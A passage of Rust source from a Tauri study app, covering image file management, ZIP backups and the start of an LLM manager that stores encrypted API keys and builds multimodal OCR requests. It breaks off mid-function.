let (question_images_json, analysis_images_json) = row_result
.map_err(|e| AppError::database(format!("读取行数据失败: {}", e)))?;
// 解析JSON数组 - 改进错误处理以防止数据丢失
match serde_json::from_str::<Vec<String>>(&question_images_json) {
Ok(question_paths) => {
for path in question_paths {
referenced_images.insert(path);
}
}
Err(e) => {
println!("警告: 解析question_images JSON失败: {} - 数据: {}", e, question_images_json);
// 不忽略错误，中止清理过程以防止数据丢失
return Err(AppError::validation(format!(
"解析错题图片路径JSON失败，中止孤立图片清理以防止数据丢失: {}", e
)));
}
}
match serde_json::from_str::<Vec<String>>(&analysis_images_json) {
Ok(analysis_paths) => {
for path in analysis_paths {
referenced_images.insert(path);
}
}
Err(e) => {
println!("警告: 解析analysis_images JSON失败: {} - 数据: {}", e, analysis_images_json);
// 不忽略错误，中止清理过程以防止数据丢失
return Err(AppError::validation(format!(
"解析分析图片路径JSON失败，中止孤立图片清理以防止数据丢失: {}", e
)));
}
}
}
Ok(referenced_images)
}
/// 清理空的子目录
async fn cleanup_empty_directories(&self) -> Result<()> {
println!("清理空目录");
let mut entries = async_fs::read_dir(&self.images_dir).await
.map_err(|e| AppError::file_system(format!("读取图片目录失败: {}", e)))?;
let mut directories_to_check = Vec::new();
while let Some(entry) = entries.next_entry().await
.map_err(|e| AppError::file_system(format!("读取目录条目失败: {}", e)))? {
let path = entry.path();
if path.is_dir() {
directories_to_check.push(path);
}
}
// 检查并删除空目录
for dir_path in directories_to_check {
match self.is_directory_empty(&dir_path).await {
Ok(true) => {
if let Err(e) = async_fs::remove_dir(&dir_path).await {
println!("删除空目录失败: {:?} - {}", dir_path, e);
} else {
println!("已删除空目录: {:?}", dir_path);
}
}
Ok(false) => {
// 目录不为空，跳过
}
Err(e) => {
println!("检查目录是否为空失败: {:?} - {}", dir_path, e);
}
}
}
Ok(())
}
/// 检查目录是否为空
async fn is_directory_empty(&self, dir_path: &Path) -> Result<bool> {
let mut entries = async_fs::read_dir(dir_path).await
.map_err(|e| AppError::file_system(format!("读取目录失败: {}", e)))?;
// 如果能读取到第一个条目，说明目录不为空
match entries.next_entry().await {
Ok(Some(_)) => Ok(false), // 有条目，不为空
Ok(None) => Ok(true), // 没有条目，为空
Err(e) => Err(AppError::file_system(format!("检查目录内容失败: {}", e)))
}
}
/// 获取图片文件统计信息
pub async fn get_image_statistics(&self) -> Result<ImageStatistics> {
let mut stats = ImageStatistics {
total_files: 0,
total_size_bytes: 0,
file_types: std::collections::HashMap::new(),
oldest_file: None,
newest_file: None,
};
if !async_fs::try_exists(&self.images_dir).await
.map_err(|e| AppError::file_system(format!("检查图片目录存在性失败: {}", e)))? {
return Ok(stats);
}
let mut entries = async_fs::read_dir(&self.images_dir).await
.map_err(|e| AppError::file_system(format!("读取图片目录失败: {}", e)))?;
while let Some(entry) = entries.next_entry().await
.map_err(|e| AppError::file_system(format!("读取目录条目失败: {}", e)))? {
let path = entry.path();
if path.is_file() {
// 获取文件元数据
let metadata = async_fs::metadata(&path).await
.map_err(|e| AppError::file_system(format!("获取文件元数据失败: {}", e)))?;
stats.total_files += 1;
stats.total_size_bytes += metadata.len();
// 统计文件类型
if let Some(extension) = path.extension().and_then(|ext| ext.to_str()) {
*stats.file_types.entry(extension.to_lowercase()).or_insert(0) += 1;
}
// 获取修改时间
if let Ok(modified) = metadata.modified() {
let modified_timestamp = modified.duration_since(std::time::UNIX_EPOCH)
.unwrap_or_default().as_secs();
if stats.oldest_file.is_none() || modified_timestamp < stats.oldest_file.unwrap() {
stats.oldest_file = Some(modified_timestamp);
}
if stats.newest_file.is_none() || modified_timestamp > stats.newest_file.unwrap() {
stats.newest_file = Some(modified_timestamp);
}
}
}
}
Ok(stats)
}
/// 验证图片格式 (基于路径的存根)
pub fn validate_image_format_from_path_stub(&self, relative_path: &str) -> Result<bool> {
println!("验证图片格式 (存根): {}", relative_path);
// TODO: 实现基于文件路径的实际验证逻辑
Ok(true)
}
// 第一个 extract_extension_from_base64 (占位符) 已被移除，保留下面的实际实现
/// 保存图片文件（从字节数据）
pub fn save_image_from_bytes(&self, image_data: &[u8], file_extension: &str) -> Result<String> {
// 确保图片目录存在
fs::create_dir_all(&self.images_dir)
.map_err(|e| AppError::file_system(format!("创建图片目录失败: {}", e)))?;
// 生成唯一文件名
let file_id = Uuid::new_v4().to_string();
let filename = format!("{}.{}", file_id, file_extension);
let file_path = self.images_dir.join(&filename);
// 写入文件
let mut file = fs::File::create(&file_path)
.map_err(|e| AppError::file_system(format!("创建图片文件失败: {}", e)))?;
file.write_all(image_data)
.map_err(|e| AppError::file_system(format!("写入图片文件失败: {}", e)))?;
// 返回相对路径
Ok(format!("images/{}", filename))
}
/// 获取图片文件的绝对路径
pub fn get_image_absolute_path(&self, relative_path: &str) -> PathBuf {
self.app_data_dir.join(relative_path)
}
/// 检查图片文件是否存在
pub fn image_exists(&self, relative_path: &str) -> bool {
let file_path = self.app_data_dir.join(relative_path);
file_path.exists()
}
/// 获取图片文件大小
pub fn get_image_size(&self, relative_path: &str) -> Result<u64> {
let file_path = self.app_data_dir.join(relative_path);
let metadata = fs::metadata(&file_path)
.map_err(|e| AppError::file_system(format!("获取文件元数据失败: {}", e)))?;
Ok(metadata.len())
}
/// 验证图片格式 (基于Base64)
pub fn validate_image_format_from_base64(&self, base64_data: &str) -> Result<String> {
// 解析MIME类型
let mime_type = self.extract_mime_type_from_base64(base64_data)?;
// 支持的图片格式
let supported_formats = vec![
"image/jpeg", "image/jpg", "image/png", "image/gif",
"image/webp", "image/bmp", "image/tiff"
];
if !supported_formats.contains(&mime_type.as_str()) {
return Err(AppError::validation(format!(
"不支持的图片格式: {}，支持的格式: {}",
mime_type,
supported_formats.join(", ")
)));
}
// 尝试解码base64以验证数据完整性
let base64_start = if base64_data.starts_with("data:") {
base64_data.find("base64,")
.ok_or_else(|| AppError::validation("无效的base64数据格式"))?
+ 7
} else {
0
};
let base64_content = &base64_data[base64_start..];
let image_bytes = general_purpose::STANDARD
.decode(base64_content)
.map_err(|e| AppError::validation(format!("base64解码失败，数据可能损坏: {}", e)))?;
// 基本的文件大小检查
if image_bytes.is_empty() {
return Err(AppError::validation("图片数据为空"));
}
if image_bytes.len() > 50 * 1024 * 1024 { // 50MB限制
return Err(AppError::validation("图片文件过大，超过50MB限制"));
}
println!("图片格式验证通过: {} ({} bytes)", mime_type, image_bytes.len());
Ok(mime_type)
}
/// 从base64数据中提取文件扩展名
pub fn extract_extension_from_base64(&self, base64_data: &str) -> Result<String> {
let mime_type = self.extract_mime_type_from_base64(base64_data)?;
let extension = match mime_type.as_str() {
"image/jpeg" | "image/jpg" => "jpg",
"image/png" => "png",
"image/gif" => "gif",
"image/webp" => "webp",
"image/bmp" => "bmp",
"image/tiff" => "tiff",
_ => return Err(AppError::validation(format!("无法确定文件扩展名，未知MIME类型: {}", mime_type)))
};
Ok(extension.to_string())
}
/// 从base64 Data URL中提取MIME类型
fn extract_mime_type_from_base64(&self, base64_data: &str) -> Result<String> {
if base64_data.starts_with("data:") {
if let Some(semicolon_pos) = base64_data.find(';') {
let mime_type = &base64_data[5..semicolon_pos]; // 跳过 "data:"
if mime_type.starts_with("image/") {
return Ok(mime_type.to_string());
}
}
return Err(AppError::validation("无效的Data URL格式"));
} else {
// 如果不是Data URL，尝试从文件头部识别
self.detect_image_type_from_content(base64_data)
}
}
/// 从文件内容检测图片类型
fn detect_image_type_from_content(&self, base64_data: &str) -> Result<String> {
let image_bytes = general_purpose::STANDARD
.decode(base64_data)
.map_err(|e| AppError::validation(format!("base64解码失败: {}", e)))?;
if image_bytes.len() < 8 {
return Err(AppError::validation("图片数据太短，无法识别格式"));
}
// 检查文件头部魔术字节
match &image_bytes[0..8] {
[0xFF, 0xD8, 0xFF, ..] => Ok("image/jpeg".to_string()),
[0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A] => Ok("image/png".to_string()),
[0x47, 0x49, 0x46, 0x38, 0x37, 0x61, ..] | [0x47, 0x49, 0x46, 0x38, 0x39, 0x61, ..] => Ok("image/gif".to_string()),
[0x52, 0x49, 0x46, 0x46, _, _, _, _] if &image_bytes[8..12] == b"WEBP" => Ok("image/webp".to_string()),
[0x42, 0x4D, ..] => Ok("image/bmp".to_string()),
_ => Err(AppError::validation("无法识别图片格式"))
}
}
/// 创建完整的系统备份
pub fn create_backup(&self) -> Result<PathBuf> {
let timestamp = chrono::Utc::now().format("%Y%m%d_%H%M%S");
let backup_dir = self.app_data_dir.join("backups");
fs::create_dir_all(&backup_dir)
.map_err(|e| AppError::file_system(format!("创建备份目录失败: {}", e)))?;
let backup_file = backup_dir.join(format!("backup_{}.zip", timestamp));
println!("创建系统备份: {:?}", backup_file);
// 实现真正的备份逻辑
use std::io::Write;
let file = fs::File::create(&backup_file)
.map_err(|e| AppError::file_system(format!("创建备份文件失败: {}", e)))?;
let mut zip = zip::ZipWriter::new(file);
let options = zip::write::FileOptions::default()
.compression_method(zip::CompressionMethod::Deflated)
.unix_permissions(0o755);
// 备份数据库文件
let db_path = self.get_database_path();
if db_path.exists() {
zip.start_file("mistakes.db", options)?;
let db_content = fs::read(&db_path)
.map_err(|e| AppError::file_system(format!("读取数据库文件失败: {}", e)))?;
zip.write_all(&db_content)?;
println!("已备份数据库文件: {} bytes", db_content.len());
}
// 备份图片目录
if self.images_dir.exists() {
self.add_directory_to_zip(&mut zip, &self.images_dir, "images", options)?;
}
// 备份配置文件（如果存在）
let config_file = self.app_data_dir.join("config.json");
if config_file.exists() {
zip.start_file("config.json", options)?;
let config_content = fs::read(&config_file)
.map_err(|e| AppError::file_system(format!("读取配置文件失败: {}", e)))?;
zip.write_all(&config_content)?;
println!("已备份配置文件: {} bytes", config_content.len());
}
zip.finish().map_err(|e| AppError::file_system(format!("完成备份文件失败: {}", e)))?;
let backup_size = fs::metadata(&backup_file)
.map_err(|e| AppError::file_system(format!("获取备份文件大小失败: {}", e)))?
.len();
println!("备份创建成功: {:?} ({} bytes)", backup_file, backup_size);
Ok(backup_file)
}
/// 将目录添加到ZIP文件中
fn add_directory_to_zip<W: Write + std::io::Seek>(
&self,
zip: &mut zip::ZipWriter<W>,
dir_path: &Path,
prefix: &str,
options: zip::write::FileOptions
) -> Result<()> {
let entries = fs::read_dir(dir_path)
.map_err(|e| AppError::file_system(format!("读取目录失败: {}", e)))?;
for entry in entries {
let entry = entry.map_err(|e| AppError::file_system(format!("读取目录条目失败: {}", e)))?;
let path = entry.path();
let name = entry.file_name().to_string_lossy().to_string(); // Convert Cow<str> to String
let zip_path = format!("{}/{}", prefix, name);
if path.is_file() {
zip.start_file(&zip_path, options)?;
let content = fs::read(&path)
.map_err(|e| AppError::file_system(format!("读取文件失败: {}", e)))?;
zip.write_all(&content)?;
println!("已添加文件到备份: {} ({} bytes)", zip_path, content.len());
} else if path.is_dir() {
// 递归处理子目录
self.add_directory_to_zip(zip, &path, &zip_path, options)?;
}
}
Ok(())
}
/// 获取应用数据目录路径
pub fn get_app_data_dir(&self) -> &Path {
&self.app_data_dir
}
}
|
000haoji/deep-student
| 128,636 |
src-tauri/src/llm_manager.rs
|
use crate::models::{ChatMessage, AppError, StandardModel1Output, StandardModel2Output, ModelAssignments, StreamChunk};
use crate::database::Database;
use crate::file_manager::FileManager;
use crate::crypto::{CryptoService, EncryptedData};
use crate::gemini_adapter;
use reqwest::{Client, ClientBuilder, header::HeaderMap};
use serde_json::{json, Value};
use std::collections::HashMap;
use std::sync::Arc;
use url::Url;
use serde::{Deserialize, Serialize};
use futures_util::StreamExt;
use tauri::{Window, Emitter};
use base64::{engine::general_purpose, Engine as _};
type Result<T> = std::result::Result<T, AppError>;
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct ApiConfig {
pub id: String,
pub name: String,
pub api_key: String,
pub base_url: String,
pub model: String,
pub is_multimodal: bool,
pub is_reasoning: bool,
pub enabled: bool,
#[serde(default = "default_model_adapter")]
pub model_adapter: String, // 新增：模型适配器类型
#[serde(default = "default_max_output_tokens")]
pub max_output_tokens: u32, // 新增：最大输出Token数
#[serde(default = "default_temperature")]
pub temperature: f32, // 新增：温度参数
}
// 默认值函数
fn default_model_adapter() -> String {
"general".to_string()
}
fn default_max_output_tokens() -> u32 {
8192
}
fn default_temperature() -> f32 {
0.7
}
pub struct LLMManager {
client: Client,
db: Arc<Database>,
file_manager: Arc<FileManager>,
crypto_service: CryptoService,
}
impl LLMManager {
pub fn new(db: Arc<Database>, file_manager: Arc<FileManager>) -> Self {
// 创建HTTP客户端，使用渐进式回退策略确保始终有合理的配置
let client = Self::create_http_client_with_fallback();
let app_data_dir_path = file_manager.get_app_data_dir(); // Assuming this returns &Path
let crypto_service = CryptoService::new(&app_data_dir_path.to_path_buf())
.expect("无法初始化加密服务");
Self {
client,
db,
file_manager,
crypto_service,
}
}
/// 创建HTTP客户端，使用渐进式回退策略确保始终有合理的配置
fn create_http_client_with_fallback() -> Client {
// 创建默认请求头，显式禁用压缩，防止后端收到 gzip/deflate 数据导致乱码
let mut headers = HeaderMap::new();
headers.insert("Accept-Encoding", "identity".parse().unwrap());
// 尝试1: 完整配置的客户端（推荐配置）
if let Ok(client) = ClientBuilder::new()
.timeout(std::time::Duration::from_secs(300)) // 全局超时300秒（流式请求需要更长时间）
.connect_timeout(std::time::Duration::from_secs(30)) // 连接超时30秒
.danger_accept_invalid_certs(false) // 保持SSL验证
.use_rustls_tls() // 使用rustls而不是系统TLS
.default_headers(headers.clone())
.build()
{
println!("HTTP客户端创建成功: 完整配置（超时120s，连接15s，rustls TLS）");
return client;
}
// 尝试2: 简化TLS配置的客户端
if let Ok(client) = ClientBuilder::new()
.timeout(std::time::Duration::from_secs(300))
.connect_timeout(std::time::Duration::from_secs(30))
.danger_accept_invalid_certs(false)
.default_headers(headers.clone())
.build()
{
println!("HTTP客户端创建成功: 简化TLS配置（超时120s，连接15s，系统TLS）");
return client;
}
// 尝试3: 仅超时配置的客户端
if let Ok(client) = ClientBuilder::new()
.timeout(std::time::Duration::from_secs(300))
.default_headers(headers.clone())
.build()
{
println!("HTTP客户端创建成功: 仅超时配置（超时120s）");
return client;
}
// 尝试4: 最小配置的客户端（保证基本超时）
if let Ok(client) = ClientBuilder::new()
.timeout(std::time::Duration::from_secs(180)) // 最少180秒超时
.default_headers(headers.clone())
.build()
{
println!("HTTP客户端创建成功: 最小配置（超时60s）");
return client;
}
// 最后回退: 默认客户端
println!("警告: 所有配置均失败，使用默认HTTP客户端（无超时配置）");
println!("这可能导致网络请求挂起，建议检查系统网络和TLS配置");
Client::new()
}
/// 检测Base64编码图像的真实格式
fn detect_image_format_from_base64(base64_data: &str) -> &'static str {
// 解码Base64获取前几个字节来判断格式
if let Ok(decoded) = general_purpose::STANDARD.decode(base64_data.get(..100).unwrap_or(base64_data)) {
Self::detect_image_format_from_bytes(&decoded)
} else {
"jpeg" // 默认格式
}
}
/// 根据图像字节数据检测格式
fn detect_image_format_from_bytes(image_data: &[u8]) -> &'static str {
if image_data.len() < 4 {
return "jpeg"; // 默认格式
}
// JPEG: FF D8 FF
if image_data.starts_with(&[0xFF, 0xD8, 0xFF]) {
"jpeg"
}
// PNG: 89 50 4E 47 0D 0A 1A 0A
else if image_data.starts_with(&[0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]) {
"png"
}
// GIF: 47 49 46 38 (GIF8)
else if image_data.starts_with(&[0x47, 0x49, 0x46, 0x38]) {
"gif"
}
// WebP: 52 49 46 46 ... 57 45 42 50 (RIFF...WEBP)
else if image_data.len() >= 12 &&
image_data.starts_with(&[0x52, 0x49, 0x46, 0x46]) &&
&image_data[8..12] == &[0x57, 0x45, 0x42, 0x50] {
"webp"
}
// BMP: 42 4D (BM)
else if image_data.starts_with(&[0x42, 0x4D]) {
"bmp"
}
else {
"jpeg" // 默认格式
}
}
// 获取API配置（公开方法）
pub async fn get_api_configs(&self) -> Result<Vec<ApiConfig>> {
let config_str = self.db.get_setting("api_configs")
.map_err(|e| AppError::database(format!("获取API配置失败: {}", e)))?
.unwrap_or_else(|| "[]".to_string());
// 尝试反序列化为新格式
match serde_json::from_str::<Vec<ApiConfig>>(&config_str) {
Ok(mut configs) => {
// 解密API密钥
for config in &mut configs {
config.api_key = self.decrypt_api_key_if_needed(&config.api_key)?;
}
Ok(configs)
},
Err(_) => {
// 如果失败，尝试作为旧格式反序列化并迁移
println!("检测到旧版API配置格式，正在迁移...");
self.migrate_api_configs(&config_str).await
}
}
}
// 迁移旧版API配置到新格式
async fn migrate_api_configs(&self, old_config_str: &str) -> Result<Vec<ApiConfig>> {
// 尝试多种旧格式的反序列化
// 最新的旧格式（包含 is_reasoning 但没有 model_adapter）
#[derive(serde::Deserialize)]
struct OldApiConfigV2 {
id: String,
name: String,
api_key: String,
base_url: String,
model: String,
is_multimodal: bool,
is_reasoning: bool,
enabled: bool,
}
// 更旧的格式（没有 is_reasoning）
#[derive(serde::Deserialize)]
struct OldApiConfigV1 {
id: String,
name: String,
api_key: String,
base_url: String,
model: String,
is_multimodal: bool,
enabled: bool,
}
// 首先尝试解析为 V2 格式
if let Ok(old_configs) = serde_json::from_str::<Vec<OldApiConfigV2>>(old_config_str) {
let new_configs: Vec<ApiConfig> = old_configs.into_iter().map(|old| {
// 根据模型名称智能推断适配器类型
let model_adapter = if old.model.to_lowercase().contains("deepseek") &&
old.model.to_lowercase().contains("r1") {
"deepseek-r1".to_string()
} else {
"general".to_string()
};
ApiConfig {
id: old.id,
name: old.name,
api_key: old.api_key,
base_url: old.base_url,
model: old.model,
is_multimodal: old.is_multimodal,
is_reasoning: old.is_reasoning,
enabled: old.enabled,
model_adapter,
max_output_tokens: default_max_output_tokens(),
temperature: default_temperature(),
}
}).collect();
self.save_api_configurations(&new_configs).await?;
println!("API配置迁移完成（V2->V3），添加了 {} 个配置的 model_adapter 字段", new_configs.len());
return Ok(new_configs);
}
// 如果 V2 失败，尝试解析为 V1 格式
let old_configs: Vec<OldApiConfigV1> = serde_json::from_str(old_config_str)
.map_err(|e| AppError::configuration(format!("解析旧版API配置失败: {}", e)))?;
let new_configs: Vec<ApiConfig> = old_configs.into_iter().map(|old| {
// 根据模型名称智能推断适配器类型和推理能力
let (is_reasoning, model_adapter) = if old.model.to_lowercase().contains("deepseek") &&
old.model.to_lowercase().contains("r1") {
(true, "deepseek-r1".to_string())
} else if old.model.to_lowercase().contains("o1") {
(true, "general".to_string())
} else {
(false, "general".to_string())
};
ApiConfig {
id: old.id,
name: old.name,
api_key: old.api_key,
base_url: old.base_url,
model: old.model,
is_multimodal: old.is_multimodal,
is_reasoning,
enabled: old.enabled,
model_adapter,
max_output_tokens: default_max_output_tokens(),
temperature: default_temperature(),
}
}).collect();
// 保存迁移后的配置
self.save_api_configurations(&new_configs).await?;
println!("API配置迁移完成（V1->V3），添加了 {} 个配置的 is_reasoning 和 model_adapter 字段", new_configs.len());
Ok(new_configs)
}
// 获取第一模型配置
async fn get_model1_config(&self) -> Result<ApiConfig> {
let assignments = self.get_model_assignments().await?;
let model1_id = assignments.model1_config_id
.ok_or_else(|| AppError::configuration("第一模型未配置"))?;
println!("查找第一模型配置，ID: {}", model1_id);
let configs = self.get_api_configs().await?;
println!("可用的API配置数量: {}", configs.len());
for (i, config) in configs.iter().enumerate() {
println!("配置 {}: ID={}, 模型={}, 多模态={}, 启用={}",
i, config.id, config.model, config.is_multimodal, config.enabled);
}
let config = configs.into_iter()
.find(|c| c.id == model1_id && c.is_multimodal && c.enabled)
.ok_or_else(|| AppError::configuration("找不到有效的第一模型配置"))?;
println!("找到第一模型配置: 模型={}, API地址={}", config.model, config.base_url);
Ok(config)
}
// 获取第二模型配置（公开方法，供 AnalysisService 使用）
pub async fn get_model2_config(&self) -> Result<ApiConfig> {
let assignments = self.get_model_assignments().await?;
let model2_id = assignments.model2_config_id
.ok_or_else(|| AppError::configuration("第二模型未配置"))?;
let configs = self.get_api_configs().await?;
let config = configs.into_iter()
.find(|c| c.id == model2_id && c.enabled)
.ok_or_else(|| AppError::configuration("找不到有效的第二模型配置"))?;
Ok(config)
}
// 获取ANKI制卡模型配置
async fn get_anki_model_config(&self) -> Result<ApiConfig> {
let assignments = self.get_model_assignments().await?;
let anki_model_id = assignments.anki_card_model_config_id
.ok_or_else(|| AppError::configuration("ANKI制卡模型未配置"))?;
let configs = self.get_api_configs().await?;
let config = configs.into_iter()
.find(|c| c.id == anki_model_id && c.enabled)
.ok_or_else(|| AppError::configuration("找不到有效的ANKI制卡模型配置"))?;
println!("找到ANKI制卡模型配置: 模型={}, API地址={}", config.model, config.base_url);
Ok(config)
}
// 获取模型分配配置
pub async fn get_model_assignments(&self) -> Result<ModelAssignments> {
let assignments_str = self.db.get_setting("model_assignments")
.map_err(|e| AppError::database(format!("获取模型分配配置失败: {}", e)))?
.unwrap_or_else(|| r#"{"model1_config_id": null, "model2_config_id": null, "review_analysis_model_config_id": null, "anki_card_model_config_id": null}"#.to_string());
let assignments: ModelAssignments = serde_json::from_str(&assignments_str)
.map_err(|e| AppError::configuration(format!("解析模型分配配置失败: {}", e)))?;
Ok(assignments)
}
// 保存模型分配配置
pub async fn save_model_assignments(&self, assignments: &ModelAssignments) -> Result<()> {
let assignments_str = serde_json::to_string(assignments)
.map_err(|e| AppError::configuration(format!("序列化模型分配配置失败: {}", e)))?;
self.db.save_setting("model_assignments", &assignments_str)
.map_err(|e| AppError::database(format!("保存模型分配配置失败: {}", e)))?;
Ok(())
}
// 保存API配置
pub async fn save_api_configurations(&self, configs: &[ApiConfig]) -> Result<()> {
// 创建配置副本并加密API密钥
let mut encrypted_configs = configs.to_vec();
for config in &mut encrypted_configs {
config.api_key = self.encrypt_api_key(&config.api_key)?;
}
let configs_str = serde_json::to_string(&encrypted_configs)
.map_err(|e| AppError::configuration(format!("序列化API配置失败: {}", e)))?;
self.db.save_setting("api_configs", &configs_str)
.map_err(|e| AppError::database(format!("保存API配置失败: {}", e)))?;
Ok(())
}
// 加密API密钥
fn encrypt_api_key(&self, api_key: &str) -> Result<String> {
// 如果已经是加密格式，直接返回
if CryptoService::is_encrypted_format(api_key) {
return Ok(api_key.to_string());
}
let encrypted_data = self.crypto_service.encrypt_api_key(api_key)
.map_err(|e| AppError::configuration(format!("加密API密钥失败: {}", e)))?;
serde_json::to_string(&encrypted_data)
.map_err(|e| AppError::configuration(format!("序列化加密数据失败: {}", e)))
}
// 解密API密钥（如果需要）
fn decrypt_api_key_if_needed(&self, api_key: &str) -> Result<String> {
// 检查是否为加密格式
if CryptoService::is_encrypted_format(api_key) {
let encrypted_data: EncryptedData = serde_json::from_str(api_key)
.map_err(|e| AppError::configuration(format!("解析加密数据失败: {}", e)))?;
self.crypto_service.decrypt_api_key(&encrypted_data)
.map_err(|e| AppError::configuration(format!("解密API密钥失败: {}", e)))
} else {
// 明文格式，迁移到加密格式
println!("检测到明文API密钥，将在下次保存时自动加密");
Ok(api_key.to_string())
}
}
// 统一AI接口层 - 模型一（OCR + 分类）
pub async fn call_unified_model_1(
&self,
image_paths: Vec<String>,
user_question: &str,
subject: &str,
task_context: Option<&str>,
) -> Result<StandardModel1Output> {
println!("调用统一模型一接口: 图片数量={}, 科目={}", image_paths.len(), subject);
// 获取模型配置
let config = self.get_model1_config().await?;
// *** 新增的适配器路由逻辑 ***
if config.model_adapter == "google" {
// 读取图片文件并转换为Base64
let mut images_base64 = Vec::new();
for path in &image_paths {
let base64_content = self.file_manager.read_file_as_base64(path)?;
images_base64.push(base64_content);
}
// 构建包含图片的消息
let mut messages = Vec::new();
let full_prompt = if let Some(context) = task_context {
format!("科目: {}\n任务上下文: {}\n用户问题: {}\n\n请分析图片中的题目内容，提取文字内容，确定题目类型，并生成相关标签。返回JSON格式：{{\"ocr_text\": \"题目文字\", \"tags\": [\"标签1\", \"标签2\"], \"mistake_type\": \"题目类型\"}}", subject, context, user_question)
} else {
format!("科目: {}\n用户问题: {}\n\n请分析图片中的题目内容，提取文字内容，确定题目类型，并生成相关标签。返回JSON格式：{{\"ocr_text\": \"题目文字\", \"tags\": [\"标签1\", \"标签2\"], \"mistake_type\": \"题目类型\"}}", subject, user_question)
};
let mut message = ChatMessage {
role: "user".to_string(),
content: full_prompt,
timestamp: chrono::Utc::now(),
thinking_content: None,
rag_sources: None,
image_paths: None,
image_base64: Some(images_base64),
};
messages.push(message);
// 调用 Gemini 适配器（非流式）
let gemini_result = gemini_adapter::non_stream_chat(
&self.client,
&config,
&messages,
).await?;
// 解析 Gemini 响应为 StandardModel1Output 格式
let content_str = &gemini_result.assistant_message;
println!("Gemini 模型一原始响应内容: {}", content_str);
println!("Gemini 响应长度: {} 字符", content_str.len());
// 添加Gemini响应分析
if content_str.len() <= 10 {
println!("⚠️ 警告：Gemini响应内容过短，可能存在以下问题：");
println!(" 1. API 密钥配置错误");
println!(" 2. 模型配置问题");
println!(" 3. 请求内容触发了安全限制");
println!(" 4. 图片格式或内容问题");
}
let parsed_json = parse_model1_json_response(content_str)?;
return Ok(StandardModel1Output {
ocr_text: parsed_json["ocr_text"].as_str().unwrap_or("").to_string(),
tags: parsed_json["tags"].as_array()
.map(|arr| arr.iter().filter_map(|v| v.as_str().map(|s| s.to_string())).collect())
.unwrap_or_default(),
mistake_type: parsed_json["mistake_type"].as_str().unwrap_or("").to_string(),
raw_response: Some(content_str.to_string()),
});
}
// *** 适配器逻辑结束 ***
// 读取图片文件并转换为Base64
let mut images_base64 = Vec::new();
for path in &image_paths {
let base64_content = self.file_manager.read_file_as_base64(path)?;
images_base64.push(base64_content);
}
// 获取科目专用的Prompt
let subject_prompt = self.get_subject_prompt(subject, "model1");
let full_prompt = if let Some(context) = task_context {
format!("{}\n\n任务上下文: {}\n\n用户问题: {}", subject_prompt, context, user_question)
} else {
format!("{}\n\n用户问题: {}", subject_prompt, user_question)
};
// 强化的JSON指令 - 明确要求纯净JSON输出
let json_instruction = if config.model.starts_with("gpt-") {
// GPT模型支持response_format，但仍需明确指令
"你必须严格返回JSON格式的数据，不要添加任何解释、前缀、后缀或markdown标记。\n\n请分析图片中的题目内容，返回以下格式的JSON：\n{\n \"ocr_text\": \"题目的完整文字内容\",\n \"tags\": [\"相关知识点标签\"],\n \"mistake_type\": \"题目类型分类\"\n}\n\n要求：\n1. 只返回JSON数据，不要任何其他文字\n2. 字符串值必须用双引号包围\n3. 特殊字符必须正确转义"
} else {
// 其他模型需要更严格的指令
"**重要：你必须只返回纯净的JSON数据，不要添加任何解释文字、markdown标记或其他内容。**\n\n请分析图片中的题目内容，严格按照以下JSON格式返回：\n\n{\n \"ocr_text\": \"题目的完整文字内容\",\n \"tags\": [\"相关知识点标签1\", \"相关知识点标签2\"],\n \"mistake_type\": \"题目类型分类\"\n}\n\n**格式要求（必须严格遵守）：**\n1. 响应必须以 { 开始，以 } 结束\n2. 不要添加 ```json 或任何markdown标记\n3. 不要添加任何解释文字或说明\n4. 字符串值必须用双引号包围\n5. 如果文字中包含引号，使用 \\\" 转义\n6. 如果文字中包含反斜杠，使用 \\\\\\ 转义\n7. 换行符使用 \\n 表示\n8. 确保JSON语法完全正确\n\n**示例输出：**\n{\"ocr_text\": \"求解方程 x² + 2x - 3 = 0\", \"tags\": [\"二次方程\", \"代数\"], \"mistake_type\": \"计算题\"}"
};
let image_context = if images_base64.len() > 1 {
format!("我将为您提供{}张图片，它们可能是同一道题目的不同部分或多道相关题目。请仔细分析所有图片内容，综合提取完整的题目信息。\n\n", images_base64.len())
} else {
"我将为您提供一张图片，请分析其中的题目内容。\n\n".to_string()
};
let mut request_content_parts = vec![
json!({
"type": "text",
"text": format!("{}{}\n\n请分析这道题目，提取文字内容，确定题目类型，并生成相关标签。\n\n{}", image_context, full_prompt, json_instruction)
})
];
// 添加图片
for image_base64 in &images_base64 {
let image_format = Self::detect_image_format_from_base64(image_base64);
println!("🖼️ 模型一检测到图像格式: {}", image_format);
request_content_parts.push(json!({
"type": "image_url",
"image_url": {
"url": format!("data:image/{};base64,{}", image_format, image_base64)
}
}));
}
let mut request_body = json!({
"model": config.model,
"messages": [
{
"role": "user",
"content": request_content_parts
}
],
"max_tokens": config.max_output_tokens,
"stream": false, // 第一模型不使用流式，因为需要结构化JSON输出
"temperature": config.temperature,
"top_p": 0.9,
"frequency_penalty": 0.0,
"presence_penalty": 0.0
});
println!("模型一使用 max_tokens: {} (模型: {})", config.max_output_tokens, config.model);
// 调试：打印请求体（不包含图片内容）
let debug_body = {
let mut debug = request_body.clone();
if let Some(messages) = debug["messages"].as_array_mut() {
for message in messages {
if let Some(content) = message["content"].as_array_mut() {
for part in content {
if part["type"] == "image_url" {
part["image_url"]["url"] = json!("data:image/*;base64,[图片数据已隐藏]");
}
}
}
}
}
debug
};
println!("📤 请求体: {}", serde_json::to_string_pretty(&debug_body).unwrap_or_default());
// 只有支持JSON模式的模型才添加response_format
// 目前已知支持的模型：gpt-3.5-turbo, gpt-4, gpt-4-turbo等
if config.model.starts_with("gpt-") {
request_body["response_format"] = json!({"type": "json_object"});
}
// 发送请求
println!("发送请求到模型一: {}/chat/completions", config.base_url);
let mut request_builder = self.client
.post(&format!("{}/chat/completions", config.base_url))
.header("Authorization", format!("Bearer {}", config.api_key))
.header("Content-Type", "application/json")
.header("Accept", "application/json, text/plain, */*")
.header("Accept-Encoding", "identity") // 禁用压缩，避免二进制响应
.header("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8")
.header("Connection", "keep-alive")
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36");
if let Ok(parsed_url) = Url::parse(&config.base_url) {
